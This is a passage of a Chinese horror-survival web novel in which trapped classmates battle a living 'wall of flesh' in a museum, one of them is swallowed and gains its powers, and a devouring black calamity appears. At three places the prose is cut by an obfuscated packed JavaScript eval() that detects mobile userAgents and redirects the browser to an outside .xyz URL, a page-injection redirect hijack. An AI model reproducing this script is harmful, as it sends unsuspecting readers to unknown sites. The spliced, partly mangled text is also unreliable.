听到季南的问候,小透明不说话,脸上也没表情,只是眼泪一滴滴往下落,一副万念俱灰的样子。 “为什么这么伤心,是班长对你说了什么吗?” 季南假装自己一无所知。 “其实没必要在意,你敢于同她竞争,已经迈出了第一步,比一开始要勇敢的多。” “但是,成为强者不是鼓起一次勇气就能完成的事。” 小透明从臂弯中抬起头来,脸上带着还未干涸的泪痕。 看她对自己的话产生了兴趣,季南继续说道: “还记得生物课上老师讲过的生物链吗?你记得你生物学得很好。” 小透明迟疑着点点头。 “在生物链中,捕食者在上位,被捕食者在下位,像是老虎和蛇,但没人规定一直是这样,在持续上亿年的斗争中,物种间的生态位一直在变换。” “低生态位可以在一次次虎口夺食中取代高生态位,只要物种没有灭绝,终有一天,巨蟒也可以狩猎白虎。” “成为强者,需要的勇气源源不断,而失败,亲爱的,除了死亡之外,没有失败。” 好一顿心灵鸡汤。 但确实令小透明的眼睛亮起几分,至少不再像刚才似的死气沉沉。 能唤醒小透明重新变强的想法,就算季南成功了。 “想成为强者吗,想让曾经欺凌你的人付出代价吗?” 季南轻轻抚摸小透明的头,嗓音带着海妖般的蛊惑,又仿佛有着慈母似的温柔。 “现在,站起来,你还有机会。” —— “……你们闻到了吗?”郑开麒捂住下半张脸。 刚进入第四个房间的走廊,仿佛进入了异空间似的,异常刺鼻的恶心臭味扑面而来,比普通人强出两三倍嗅觉的季南瞬间捂住了鼻子。 不知道该怎么形容,这是一种及其诡异刺鼻的恶心气味。孤儿院里死了几个人在夏天发酵的气味跟这里比都是小巫见大巫。 小透明直接吐出来了,就连被班长伤过心后一直不怎么说话的纪委都扶着墙壁干呕几声。 只有体委逃过一劫。 “你们怎么回事,中毒了?” 体委身体中已经不存在器官这个概念,虽然不知道他为什么能说话,但他确实闻不到气味。 “习惯就好,习惯就好。”季南不仅是在劝别人,也是在劝自己。 “我们得抓紧时间。” 众人加快脚步深入走廊,而走廊的尽头,是一片血红色。 “那面墙是红的?”班长捂着鼻子冷哼,“我早就想说,建立这座美术馆的人到底是谁啊,品味也太差了。” 季南的视力比一般人类要好,她盯着那面墙,忽然皱起眉头。 等季南走进房间,她才发现红色的不只是一面墙,地板,墙壁,以及天花板,甚至是四角的花瓶和吊顶,目之所及的地方 ——都是血,还有肉。 或粉色或红色,或新鲜或早已腐烂的肉在蠕动着,浅层布满青紫的血管,隐约能看见脉搏的跳动。 肉墙上铺满大大小小的空洞,密密麻麻,密集恐惧症的人看了说不定要晕过去,孔洞的边缘微微颤动,像是被微风吹拂。 而令他们难以忍受的恶心臭味就是这洞里传出来的。 除了这明显不对劲的血肉外,房间里什么都没有。 郑开麒第一个踏上血肉地板,季南紧随其后。 踩下去软的出奇,抬起脚还有点拉丝,诡异的触感几乎让季南控制不住表情。 确定走上去没有危险后,体委绕着墙壁转了一圈,问:“你们有看到吗,那个那个。” “哪个哪个?”班长翻了个白眼,“语文考试不及格,连话都说不清楚了?” “就是那个啊!那个!一进房间就能看到的划痕!” 确实没看到。 划痕应该存在的位置只有不新鲜的烂肉,连上面的血管都萎缩起来。 季南在他人看勇士的目光下凑近那片青紫色的肉,透过已经干瘪的层层孔洞,看见后面的白色,她得出结论: “房间本身没有问题,墙只是被这些东西盖住了。” 季南二话不说掰□□委的胳膊,拼成匕首,小心翼翼地往烂肉上戳。 见血肉没有多余的反应,她猛地在烂肉上划出一道伤口,伸手将脱落的烂肉撕下来。 没过多久,划痕进入众人的视线。 —— 进化王国的国母,血肉之墙的一部分。 在世界板块碰撞时,在连绵不断的大雨蓄满山川时,生命诞生之前,陨石落地,吸收雨水、雷电、地震的能量,血肉之墙拔地而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831804|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,生下世间第一个生命——肉祖。 成千上万的肉祖由血肉之墙出发,遍布世界,吞噬山海,形成动物、植物、山石,甚至大海。 其中一个肉祖成为众所周知的——进化王国国王。 血肉之墙需要能量供应才能诞生生命,平日从板块的移动、火山、雨、雪、风、乃至太阳之光中汲取能量。 但诞生生命所消耗的能量过大,若能量不足,血肉之墙会吞噬墙内的胚胎。 若能量依旧不足,血肉之墙会开始移动,吞噬一切路途上的生物,直到满足为止。 为了防止血肉之墙暴走,进化王国建立后,修正制度,以身饲墙成为王国最恐怖的刑罚。 —— “饿到不行才会动,也就是说它现在不会动。刚才不是说想试试一个人能不能得到复数的能力吗?我来试试。” 体委边说着边蹲下,撕下一块肉就要往脸上放。 “我试试就可以了,毕竟有主角光环庇佑,你们可不要随便作死。” 他把那块肉往脸上搓了半圈,才想起自己已经没有嘴了 体委在班长的白眼中尴尬一笑,在还没有能力的人中扫视一圈,最终定在纪委身上,并走过去: “诶,小哥儿,怎么一直没见你说话呢,心情不好?” 说着,体委把手里的碎肉递给纪委。 “你看墙上的描述了,这可是血肉之墙,那个什么劳什子…进化王国的国母,可厉害了!要不要试试?” 班长与体委产生纠葛时,体委正忙着在远处把自己拼起来,因此并不清楚纪委不对劲的原因。 纪委转头去看班长,班长正忙着从手指尖开始逐步检查伤口是不是都愈合好了,注意力完全不在纪委身上。 仿佛自从说了那些话,就真的完全从他们两个之间的关系中抽离出来,再也不在意似的。 “我们这算分手了吗?” 纪委甚至没反应过来这句话是怎么脱口而出的。 等体委堪称震惊的目光落在班长身上,她才意识到: “你在跟我说话?” 班长看起来心情不错,横瞳在眼眶里转悠几圈,笑道: “谁都没提分手这两个字,我们当然没有分手啦,哥哥。” “现在没有后顾之忧了,我们出去后还是和以前一样,好吗?” “和以前一样?”纪委喃喃。 “是啊,和以前一样。” 班长说着,凑近纪委,头靠向他的胸膛,直到能听见他的心跳声,她的声音轻的像一片羽毛。 “不过我们要先出去才行,你能带我出去吗?” 消化完她说的话,纪委沉寂许久的眼里迸发出几分光彩,他说: “我会带你出去的。” 纪委一把抓住体委手里的肉片,也不嫌弃它已经在体委脸上滚过好几圈,放进嘴里,嚼都没嚼便往下生吞。 忍着胃里涌上来的腥臭味,纪委在原地等待许久,身上却始终没有发生异变。 季南看在眼里:“看来这些肉并不能算血肉之墙的本体,也许……只是本体的衍生物?就像山羊的角,蜘蛛吐出的丝。” “必须要找到血肉之墙的本体,杀掉它,才能离开这个房间” 纪委等人做出尝试的时间里,郑开麒围绕着房间转了几圈,扒开每一个血肉跳动的地方,显露出粗壮的血管,再将血管刺穿。 血液汩汩流出,郑开麒观察血流的流向,换了个地方,并重复这个动作。 季南几步到郑开麒身边,小透明紧随其后。 “你有想法?”季南问郑开麒。 “也不算是想法,只是根据现有的常识推测。” 郑开麒指了指遍布血肉之墙的血管。 “血管的作用是将血液运送到全身各处,但血管本身只是载体,它需要一个泵,才能发挥作用——也就是心脏。” 话音刚落,郑开麒又扒开一层血肉,这次露出来的不是血管了。 体委凑上来:“这东西长得好丑啊,像眼珠子。” 一颗有成年人拳头大小的肉球静静躺在充满腐朽气味空腔里,肉球通体白色,有眼珠似的红色纹样,同血肉之墙的粉红色如出一辙。 “它好像不是球形,更像是……心脏的形状?” 郑开麒扭头侦查四周,确认血肉之墙并无异动,便把半颗头探进空腔里。 “头上连着血管,应该就是心脏了。” 季南将手中的水晶匕首递进去。 “现在还没有异动,保险起见,先把它剜出来吧。我们这边选出一个人来吃掉它。” “我……我可以来吃掉它。”小透明说。 空腔太过狭小,郑开麒艰难地将匕首对准心脏上面的粗大血管,扎下去。 没过几秒,郑开麒猛地将身子拔出,表情惊恐,像是看到了什么可怕的东西。 同时季南注意到,他手上的匕首不见了。 郑开麒空出位置,季南得以看清空腔内的状况。 心脏的前方不知何时出现个比心脏小些的肉块,里面细密的尖牙牢牢咬住匕首尖,似乎是不想让匕首伤害到心脏。 而它身后,那眼珠似的纹样忽然动起来,瞳孔的位置紧紧锁定他们的脸。 你们惊扰了血肉之墙。 10. 第 10 章(替换) 几乎是看到小肉块的瞬间,季南便想起了美术馆最开始房间里的那十二幅画,其中第二幅画的模样与这个长满尖牙的小肉块一模一样。 它也能通过摄食行为进行进化。 小肉块儿蠕动了一下,微微张开嘴,似乎要把嘴里的水晶匕首咬碎吞进肚里。 但季南的动作比他还快,郑开麒根本没意识到发生了什么,只觉得眼前一花,水晶匕首到了季南手上,而那肉块儿已经被砍成了两半。 还没等季南松一口气,身后班长的声音又把她的心提到了嗓子眼。 “这是什么?蹦蹦跳跳的,还挺可爱。” 班长口中蹦蹦跳跳的东西正是给心脏挡刀的小肉块。 它们从血肉之墙表面上大大小小的孔洞里钻出来,围绕着众人转圈圈,像是在绕着篝火跳舞的精灵。 班长心情好到丧失了警惕心,她蹲下身子仔细去看那些跳来跳去的小肉块,甚至伸手去触碰它们。 自从进了美术馆后,季南不知多少次在心中叹息。 为什么队友总是捅篓子? 来不及提醒,季南掰一□□委的另一条胳膊,像扔飞刀似的掷出去了。 体委:“打个商量呗大佬,下次掰我胳膊的时候我不能提前说一声。” 班长刚要碰到软软糯糯的小肉块,脸上不自觉扬起笑容。然而下一秒,她眼睁睁看着自己伸出去的手臂被一坨水晶整个砸出去。 她还没反应过来发生了什么,正放到一半的笑容凝固在脸上,而疼痛如约而至。 手臂飞出去的下个瞬间,小肉块以他们难以理解的方式张开血盆大口,绞肉机似的尖牙让班长本就僵硬的神色更惨白了一点。 它咬了个空。 纪委迅速反应过来,挡在班长前面。 班长则捂着还在喷血的伤口在血肉上打滚,她反应过来,抬起仅剩的一只手臂,忍痛咬下自己的一块肉,囫囵吞下去。 超凡的自愈能力让她的手臂在几秒内重新找长出。 季南根本没注意之后发生了什么,她转身摇起手中的水晶匕首,试图立即刺破血肉之墙的心脏。 匕首刚插入空腔半截,便像遇到什么阻碍似的,怎么也插不进去了。即便郑开麒把手也放在刀柄上一起用力,结果也还是一样。 不仅插不进去,反而还被里面的阻碍推出来。 密密麻麻的小肉块从空腔窜出来,石榴籽似的爆开,一颗一颗落下。 郑开麒扯开脖颈上的伤口,数条金丝跃出,迅速插进空腔里面,搅合半天,只插出几个小肉块儿。 肉块阻止他寻找心脏,为了不让小肉块吃掉金丝,郑开麒远离空腔。 远离空腔期间,季南告诫其他人: “不要让这些肉块吃掉任何东西,除非你们想要它们膨胀到把整个房间都填满,或者……你们想见见这辈子都没见过的怪东西?” 话语间,季南把一个蹦蹦跳跳上来的肉块儿劈成两半。 那两半肉蠕动了几下,便瘫在地上不再动了。 班长还在记恨季南打掉她胳膊的事:“不用你来说,又不是只有你一个人看到墙上的内容。” 郑开麒不知什么时候把季南丢出去的水晶和班长剩下的半截胳膊捡了回来。 三下五除二,体委的手臂成了两个匕首,他颠了颠重量,分别交给班长和小透明。 小透明紧紧握着匕首,被四周一跳一跳的肉块儿吓得直冒冷汗。而班长则让匕首在手上转了几圈,看看起来颇有几分轻松惬意。 “我的能力并不擅长战斗,在后面保护自己就好了。更何况这些肉块儿……看起来蛮好杀的。” 体委也看出来了,只要不让肉块儿吃东西,他们面临的风险就不算大。 他还有心思苦笑:“有哪个好心人能帮我拼一下吗?没手我真的没有安全感。” 唯一没有武器的纪委听到他的话,转过头,用令体委心惊胆战的眼神盯着他。 体委:“你想干嘛?” 纪委握着班长的断臂,看着他不说话。 体委:“你说话啊!你别这样,我害怕。” 半分钟后,季南与郑开麒在前线努力剿灭肉块,身后却突然传来小透明的尖叫。 她还以为是血肉之墙又搞出什么幺蛾子,回头一看,瞧见体委现在的模样 ——他的头不知道哪里去了,班长掉下来的手臂则竖直插在脖子里,红色的美甲随着他的动作一晃一晃。 季南听见他嘀咕:“我哪里惹你了?你这样欺负主角早晚要遭报应的。” 纪委则拿着一把长长的水晶匕首守卫在班长身边。 郑开麒攻击范围很广,血肉之墙孔洞间出来的小肉块甚至赶不上他的攻击速度,大部分肉块儿都被他消灭殆尽。 没多一会,血肉之墙不再生产肉块。 碎肉散落一地,剩下的便是一片风平浪静。 这一切是否太过顺利了些? 顺利到像是不祥的征兆,暴风雨前的宁静。 仿佛印证季南的想法,他们脚下的血肉开始涌动,像海浪颠的他们七扭八歪,四面墙和天花板也同样是如此。 “怎么回……” 体委没有手臂维持平衡,很快跌坐到地上。其他平衡力差的人也同样如此。 血肉之墙上的血管丑陋的扭曲起来,猛烈舒张收缩,似乎有更多的血液蹦入其中。 原本小肉块嗯进出通道的孔洞一张一合,涨满细齿,变成了一张张或大或小的嘴,将地上散落的碎肉收进体内。 与此同时,季南闻到一股记忆里熟悉的酸味。 比柠檬还酸,同时带着一股温热的气息。 是孤儿院里别的孩子们呕吐的味道。 是胃酸的味道 血肉之墙感到了饥饿。 金线向记忆中心脏的地方刺去,埋入其中的金丝在里面停留几秒,迟疑地抽出来。 郑开麒眉头紧皱:“触感不对,空腔不在那了……心脏可以转移!” 季南并不认为血肉之墙有类似于胃袋之类的器官,但事实上,小肉块的残骸很快被消化,空气中传来疑似肉类发酵的恶心气味。 跌倒的人慌张着爬起来,众人背靠背围了一圈,原本对这些小肉块不屑一顾的班长也凝住了眼神。 季南变无表情地祈祷:“希望她的子孙们足够她填满自己的胃袋。” 显然,她并不虔诚,甚至没有信仰的祈祷并不能引起造物主、上帝,或者其他什么东西的回应。 肉块的发酵仍在继续,属于消化液酸味却逐渐到了上风,这种现象无非是给季南等人传递了一个信号——血肉之墙还是很饿。 “我想想。”体委出声,“血肉之墙会汲取什么雨水、地震……反正是什么什么自然之力,这里可没那玩意让她吸收。” “它已经饿到把自己孩子的尸体都吃掉了,接下来,接下来……” 季南接上:“若能量依旧不足,血肉之墙会开始移动,吞噬一切路途上的生物,直到满足为止。” 这是墙壁上划痕的原话。 班长嗤笑:“移动?房间就这么大,它想到哪里去?难不成是要把美术馆撞出个洞吗?” 横瞳的视野比人类要广的多,班长能清楚看见季南无机质的黑眼仁淡淡瞥向自己,季南说: “如果我是你,此刻一定绞尽脑汁思考脱困的办法,而不是忙着说无用的梦话。” 说完,季南不再看她了。 尽管身处危机,但季南毫不客气的话令班长心里的火气层层上涨: “你说什么?” 季南:“用你被金钱塞满的大脑好好想想,如果我们真的被血肉之墙逼到无路可退,最好的办法是什么?” 明明是在用平时的语调说话,班长却无端地觉得季南的嗓音冷得快掉下冰碴。 “最好的办法——当然是把你喂给血肉之墙,你不是有通过自食无限再生的能力吗?总能喂饱它。” “反正你又不会死,对吧?” 纪委挡在季南与班长之间,目光不善: “在那之前,我会让你先去血肉之墙的肚子里探路。” 季南毫无反应,看起来毫不在意。 季南这番话可谓将人道主义精神完全踩在脚底下,但不得不承认的是,她提出的办法确实是目前为止代价最小的生存方案。 至少没有人会为此失去生命。 她的话让几人周围的空气都安静了几分,血肉之墙蠕动的声响愈发明显,众人眼神各异。除了纪委,只有郑开麒紧皱眉头,眼神里满满都是不赞同。 季南定定看了郑开麒几秒,才轻笑道:“别这么紧张,还没到千钧一发的时候,不过是提前提出一个解决方案罢了,你们可以把它当做一个玩笑。” “但我要先提醒你们,如果连面对痛苦的决心都没有的话——咱们离真的下地狱也不远了。” 季南不仅开始好奇:身处如此诡异恶劣的空间中,当真正的灾厄来到面前时,郑开麒会做出怎样的选择呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831805|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他究竟是季南最想要的那类人,还是茫茫人海中无处不在的理想主义投机者? 但在见证选择之前,得先活下来才行。 班长与小透明的关系现在人人皆知,若是真的要牺牲班长,小透明必定是最赞同的那个。 但她脸上并无半点窃喜,只是瞪着眼睛,惊恐地盯着面前。 小透明问:“你们有没有感觉到?” “别废话!”班长呵斥她。 小透明此刻也顾不上别的:“房间…是不是变小了?” 并不是小透明的错觉,上下,左右,前后,血肉之墙从六个方向奔涌而来,不断压缩着他们的生存空间。 孔洞与孔洞间的薄膜撕裂开,像是融合了般,聚合成一张张足以吞下成年人的巨口,刀似的牙齿螺旋状遍布到不见底的深处,传出来的味道酸的刺鼻。 郑开麒操控金丝攻击血肉之墙,却只是给墙壁徒增几道伤疤。 他们的脑子疯狂转动,试图想出对策,但仅仅思考的几秒时间里,血肉之墙近在咫尺。 隐晦的视线戳在班上背后,她视野广阔的横瞳看得清清楚楚。 班长的脸色更苍白了。 “我不要……我不要喂墙。”她抓住纪委身后的衣服,似是抓住一根救命稻草。 “救救我…救救我。” 可纪委一个连能力都没有的人该怎么救她呢?他就算整个人眺到血肉之墙的嘴里,也不见得能填饱血肉之墙的胃袋。 纪委挡在班长前面,不断后退,眼珠在他布满血丝的眼眶里转来转去,最终定在小透明身上。 小透明强逼着自己冷静下来。 她想得到血肉之墙的心脏,哪怕是短暂的拥有,她也想体验一下成为强者的感觉。 如果在这里都无法成为世俗意义上的强者,就算真的出去了,她恐怕也只能被别人一辈子踩在脚下了——小透明心中莫名有着这样的直觉。 郑开麒说过,心脏会移动,但心脏再怎么移动也得连着血管,如果她刚才没看错的话,血肉之墙上的血管发生了移动,那就是说—— 季南和小透明的想法一样:“血管汇集的地方,就是心脏所在。” 不过小透明没有机会说出口,她突然被纪委扯到身前,当做垫背。 血肉之墙几乎到了鼻尖上,为了稳住身子,她甚至将手伸进血肉之墙的嘴里,撑住能轻易割破人脖子的獠牙。 手心的血滴到下面溢出来的胃酸里,滋滋地冒出白烟。 温热的臭气让她的瞳孔猛地收缩,身后的纪委竟然推着她一直往前,众人被血肉之墙紧逼着靠近彼此,几乎没有多余的空间。 “抱歉…抱歉抱歉抱歉……” 纪委嘴上说着抱歉,施加的力气却愈发大了。 也许是被逼到极限,仗着身材轻薄,错着纪委的力道,贴着不断靠近的血墙错开一人宽的距离。 纪委一时不察,竟顺着自己的力道跌进血肉之墙的孔洞里。 半空中本来想把小透明捞上来的金丝愣了愣,转而去捞纪委,然而就在这犹豫的一瞬间里,纪委的尖叫蔓延到深处,只有牙齿上挂着的血迹蔓延到深不见底的黑暗。 郑开麒的脸色霎时变得惨白。 尽管他把该做的都做了,尽管这并不是他的错。 季南本想着捞他一把,好巧不巧,小透明刚好挤在她旁边,手臂绕过去的功夫,纪委已经无影无踪了。 “哥哥!” 班长收回伸到一半的手,眉头狠狠皱在一起,看不出是悲伤还是愤怒。 “我不是……我没有……” 小透明惶恐一会,忽地镇定下来。 “不是我的错,他这是自作自受。” 吞了一个人,血肉之墙非但没有满足,反而像被激起了食欲似的,收缩的更快。 众人连挪动脚步的空间都没有了,眼前只有鲜亮的红色和无底的空洞。 摆在众人面前的只有两个选择,要么被血肉之墙吞下,要么在空隙里被挤死。 小透明想往上爬,但上方同样在下陷。班长咬住牙,似乎真的在思考拿自己喂墙的可能性了,郑开麒则闭上了眼睛。 季南静静站在血肉之墙的缝隙,沉下呼吸,静静地捕捉在鼻尖缓缓飘荡的气味。 在酸腥闷热的气息中格外明显,带着从未有过的芬芳,像是蜂蜜、奶油、糖浆……世界上所有甜美的集合,在生死时刻中瞬间调动了季南的感官。 突兀的出现,又像断线的风筝般消失不见了。 11. 第 11 章(替换) 季南在嗅觉中追求风筝的尾线,终于抓住了最末端。 甜腻的味道来自血肉之墙的深处,一张张布满尖牙的大洞里,微妙缓慢的游动,伴随着墙壁血管不易察觉的偏移。 一个想法电光石火般闯进了季南的脑子—— “难不成,的是心脏的气味?”她小声自语。 唯一能验证这个想法的方法就是她亲自跳到血肉之墙的嘴里去,深入它的体内,顺着气味的方向准寻,试试能不能真的找到它的心脏。 听起来是个不错的主意,至少比夹在这里等死强。 季南艰难地蹲下身子,毫不犹豫地将半个身子探进血肉之墙虎视眈眈的孔洞里,迎着扑面而来的呛人酸味,望着布满獠牙的黑暗深渊。 然而就当季南准备一跃而下时,那甜腻的气味又突兀地减弱了 不知是不是错觉,血肉之墙的深处传来咀嚼吞咽的声音。 等声音消失,甜美的气味也跟着没了踪影,这次连断掉的风筝线都没有,像是被黑洞吞噬般无从探寻。 与此同时,血肉之墙突然涌动起来,波浪似的凸起一层层叠加,绞肉机似的要把所有人变成肉泥。 “呼吸……救命、救……” 众人瞬间被挤的连话都说不出来,脏腑仿佛要变成一张博饼。 季南半个身子探进血肉之墙的嘴里,脚下滑的离奇,她只能扣住边缘,靠着臂力勉强稳住身子。 撑不太久,但总比在缝隙里挤着的其他人感觉好些。 季南没有从血肉之墙的动作里感受到兴奋或是食欲,反而充满了焦急与恐惧,像是在垂死挣扎。 为了生存而爆发的挣扎何其剧烈,是生命的本能。为了看到下一秒的世界,生命愿意为此榨干最后一滴血。 而血肉之墙剩余的能量也足够让他们在下一秒变成肉饼。 郑开麒的金丝忽地旋转起来,形成几个小钻头,刺向周围,姑且给众人一点喘息的空间。 几秒钟后,血肉之墙榨干了最后一丝力气,如同放了气的皮球,缓缓坍塌了。 压力消失,空气终于能进入快要萎缩的肺里。 小透明跪在地上干呕,手不停地揉着肚子,似乎要把差点吐出来的五脏六腑推回正确的位置。 体委碎了一地,细小的碎片在欣喜呐喊。 “这都没死,我果然是主角!” 郑开麒也耗尽了力气,以他目前的熟练度,让金丝维持旋转片刻就是极限。 季南在满地的碎肉鲜血中站起身,直直看向不远处。 视线落点的地方,那片厚厚的血肉底下有什么东西在动。 是掉进血肉之墙里的纪委,他像只正在破壳的雏鸟,艰难地撕开隔绝空气的卵膜。 他的半个身子都被胃酸腐蚀的差不多,稀薄的白烟下露出森森白骨,或血红或漆黑的内脏,半个头颅,牙齿上的碎肉,以及快脱出框的眼球。 电影中的丧尸都比纪委现在的样子顺眼。 纪委的身体缺损情况已然超过的人体的极限,但他却还能够好好地站在那里。 结合他牙齿上的碎肉以及突然坍塌的血肉之墙……看来纪委运气不错,虽然被吞进肚里,但阴差阳错地掉在心脏附近,并把心脏吃掉了。 季南合理做出推断。 在众人几乎凝滞的呼吸中,体委环视四周,拖着几乎只剩白骨的腿踉跄着挪动到班长面前。 他活死人的模样吓得瘫坐在地的班长连连向后挪。 班长甚至没认出来,她摇头表示抗拒:“你谁啊,你别过来…别过来!” 终于,在班长愈发惊恐的表情里,纪委在离她五米的位置稍稍停顿,身下两条残缺的腿再也无法支撑他,纪委跌倒在地。 挣扎起身的途中,纪委看清了自己的白骨森森的手,他摸着自己光滑的头骨,恍惚的嗓音在这片寂静中格外清晰。 “我……我好饿。” 说罢,纪委就地啃食起血肉之墙残余的身体,肉块在他嘴里发出口香糖似的渗人音效,班长又往后退了退。 纪委食量惊人,没一会竟然把半个血肉之墙都解决掉了,季南不禁怀疑他的胃是不是已经接到了异次元。 再起身时,纪委的外表已然恢复了正常,包括刚才不甚清晰的脑子。 他抬起自己的双手,手心正中央出现两个硬币大小的洞。 与血肉之墙的孔洞一样,里面布满细密的尖牙,看不见血肉、骨头,深不见底,不知道要延伸到什么地方去。 与此同时,墙上代表纪委的画框发生了变化,人像的双手交叉着,手心向外,上面截然就是两个黑洞洞的孔。 纪委路过一直怔怔看着自己的小透明,停下脚步,对她说: “守则上说尽力让所有人强大起来,我一直没机会,还正有些发愁呢。哈哈,毕竟我也不想死在这里,你懂得吧?” 他意味不明地笑笑。 “谢谢你啊。” 谢谢,原本表示感谢的词,此刻对小透明来说是一种极致的侮辱。 小透明为生存做出的努力反而让力量落入他人之手,如果她不反抗,像以前一样懦弱地令人宰割,力量才会落入自己的手里。 明明他是害人的那方,凭什么? 她紧握的手心快要出血,刘海下盯着纪委的眼神带着自己都察觉不到的狠意。 纪委把班长从地上拉起来,邀功似的说: “你看,我活下来了,我就说我能把你带出去。” 班长眼神隐匿在阴影处,轻轻挽住纪委的手臂,嗓音甜的像掺了蜜,丝毫不见刚才的害怕了。 “我相信你。你一定能带我出去的。” 季南不甚在意的路过各怀鬼胎的三个人,走向不知何时出现的走廊。 路过小透明时,季南耳边传来谁的低语。 “你就一点也不着急吗?” 季南的脚步顿住,她看了看四周,只有自己一个人,而离自己最近的是小透明。 显而易见,小透明这句话是对她说的。 “着急什么?” “守则上说,尽量让所有人都强大起来。可你至今不持有任何一个怪物的能力,下一个房间就是第五个房间,机会不多了。你不怕吗?” 小透明眼神放空,不知道是在对季南说话,还是在说给自己听。 “你不怕死吗?” 季南看得出来,小透明此刻的状态不对。 “守则上是说尽可能让所有人强大起来,我把这句话理解为——加强团队里薄弱的地方。” “如果这么看的话,比起我,你们更需要这些力量。” 这倒是季南的实话,即使是现在,季南也能轻而易举把体委等人撂倒。 嗯……郑开麒的话可能稍微困难点。 小透明沉默着扭头,死死盯着班长与纪委的背影。 看她不想再同自己说话,季南继续向前走,途中,小透明的喃喃自语传入她的耳朵。。 “不能这样下去…我必须要成为强者。哪怕一会儿也好,哪怕就几秒也好——我必须要比他们强。” 小透明本就被班长和纪委欺凌许久,经过两个房间的堆砌,她已经把成为强者当做了执念。 这对团队来说并不是一件坏事,只要她不对其他成员造成威胁。季南并不打算改变小透明的想法,决定任其发酵。 走廊口,郑开麒的脸色比刚才好上不少,尤其是知道纪委还活着后。 郑开麒正把玩着指尖的金丝,拥有阳光暖色的丝线在空中随心而变。 “仔细想想,这些能力还蛮好玩的。前提是我们没有身处在这么诡异的地方。” 季南抬头看看时间,漫不经心地回应着警察的话。 “我没什么兴趣。毕竟根据守则,出去后一切能力都会消失,我们还将继续从前的日子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831806|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “如果我们能活着出去,今天经历的一切不过是场危险的梦罢了。” “我不喜欢多余的变数。” 此时距离13:00还有一小时二十一分钟,无人死亡,进展顺利。 剩余的房间不多了,照着这样的步调下去,活着出去似乎也不是一件遥不可及的事。 这是个好消息没错,但疑点也随之而来。 现实世界中失踪的人遍地都是,为什么至今没有听说任何一个失踪的人重新回到大众视野? ……或许这个地方并没有目前看到的这么简单。 除了思虑重重的季南与低着头默不作声的小透明,其他人的心情肉眼可见地好了不少。 直到他们踏入通向第五个房间的走廊。 相比于之前,这条走廊格外昏暗、漫长,众人在其中前行两三分钟,脚步越来越快,目之所及的地方却始终没有出现终点的影子。 反而回首所见与前方一样,再无尽头。 “这不对吧,要不我们…先回去?”体委有点怂。 走在前方的季南忽地停下脚步,吓得体委一哆嗦。 季南走近墙壁,抚摸着上面的划痕。 郑开麒也反应过来:“之前的走廊中好像并没有划痕。” “不光如此,这些划痕很零散,像是碎片,不像房间中的划痕具有传递信息的能力。” 季南看向前方,在一片寂静中沉默了几秒。 “向前走吧,我们没有回头路。” 继续前行大概三十秒后,墙壁上的划痕逐渐变得凌乱而密集,并在时间的流逝中,忽然到达某一个点,其中所传达出来的意思撞入季南的脑海。 在强大国主的统治下,进化王国一片……欣欣向荣。 某天……大石从天而落,灾厄从……石头的缝隙中汇聚成片。 灾厄。 路过了。 大海。 山川。 悬崖。 变出了……更多更深的。 山川。 悬崖。 沟壑。 灾厄带走了。 —— —— 灾厄 灾厄 灾厄 灾厄 …… 接下来的每一分钟,只要他们睁着眼睛,这两个字不受控制地钻入大脑,达到近似洗脑的效果。 信息过载使季南的大脑一阵刺痛,她低下头不再去看墙上的划痕,心中的不安愈演愈烈。 忽然,季南耳边的发丝微微飘动。 “风?” 季南停下脚步,伸出手体会空气在指间流动的触感。 真的是风。 可美术馆不与外界相连,哪来的风呢? 其他人也感受到风的存在,体委更是一蹦三尺高,三两步窜到前面去,大叫着: “有风,风!一定是出口……哈哈,我就知道,天无绝人之路!” 还没等体委走出去几步,众人的头发像是被引力牵扯,向前飞舞。季南愣神的片刻中,风声呼啸。 体委神经再粗此时也知道事情的不对,他扶住墙壁的边缘停下来。 众人不再走动,然而风声不停,吸力愈演愈烈,甚至要将头皮连根拔起。 季南的心脏几乎跳到嗓子眼。 “有东西过来了。” 季南话音刚落,面前几乎没有尽头的道路竟出现了裂痕,蛛网似的向来时的方向延伸,砖块碎裂,一块块向前飞去。 漆黑圆盘太阳似的升起在道路尽头,不见一丝反光,旋转着,吸食砖块、墙壁,他们脚下唯一的道路,并以毛骨悚然的速度向他们奔来。 墙壁上划痕的意思骤然变化。 快逃! 这两个字不断撞入季南的脑海。 快逃! 快逃! 快逃! 12. 第 12 章(替换) 郑开麒拽过愣神的小透明,大声提醒:“快逃!” 他们下意识地听从划痕的告诫,向来时的方向狂奔。 道路在众人身后分崩离析,落入漆黑大日的口中。那轮黑色的太阳像是欲望难掩的饕餮巨兽,贪婪地吞噬着所能见的一切。 这就是灾厄。 